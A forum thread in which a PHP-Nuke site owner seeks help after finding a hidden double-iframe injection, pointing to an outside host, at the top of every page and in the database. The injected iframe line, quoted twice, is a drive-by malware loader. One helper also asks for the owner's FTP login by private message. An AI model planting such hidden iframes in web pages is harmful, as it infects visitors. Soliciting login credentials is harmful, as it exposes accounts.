Codezwiz >> Forums >> General PHP Nuke Help >> A Script or something has been added to my site ?

Hey peeps can some one please advise or help me out !!

my site [ADMIN EDITED FOR VIRUS] a popup will appear !! and i dont know where it is comming from.

also if you view the page source a line has been added to the top

<iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

and this is on every awesome page !!

i dont know where it is getting this from or how it got there !! can some one help me plz im pullling my hair out !!

It sounds like someone has hacked into your site. First thing I would do is export your database to a .sql file and then search the file for "http://step57.info/traff/index.php" . Then you will see where that snippet of code was inserted into your database.

If you do not find it in your database , you will need to start checking the actual files. Check header.php , mainfile.php , index.php , even check files in your theme folders.

Your best bet is to just erase everything and replace it with your last backup of your site. Your database & code. If your site was hacked, there is no telling what all was accessed and changed.

You may also want to read of this post: [ Register or login to view links on this board. ]

Grr this brown earth gave me a trojan. I went to the site and nortan popped up and said Download.Trojan, luckily this removed it. I dont think u should post that brown earth on here. People could get trojaned from it.

Originally posted by __PHANTOM__ @ Mon Feb 27, 2006 7:46 am:

Grr this *&^% gave me a trojan. I went to the site and nortan popped up and said Download.Trojan, luckily this removed it. I dont think u should post that *&^% on here. People could get trojaned from it.

sorry ..

Thanks for the fast responce

i did a backup of the sql data base and opened it in wordpad and there it is first line

<iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><iframe width="1" height="1" src="http://step57.info/traff/index.php" style="border: 0;"></iframe><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

im gona check those files you suggested now !!

ive searched all them to find nothing, can i ask what you think they have hacked ? would it be the site or the sql database ?

this has stumped me totoally, luckily i have a complete backup from approx 2 weeks ago so were not going to loose to much info, butits still a pain !!

Did you get rid of it? What version oif Nuke are you running?

no not got it fixed yet still trying .. lol

im using PNC 2.1 i beleive thats a modified version of 7.6

PM your site URL, and FTP login information. I may also need the Mysql but just send that info for now. I will try to locate it for you.

Your a star Telli illsort it out for you know !!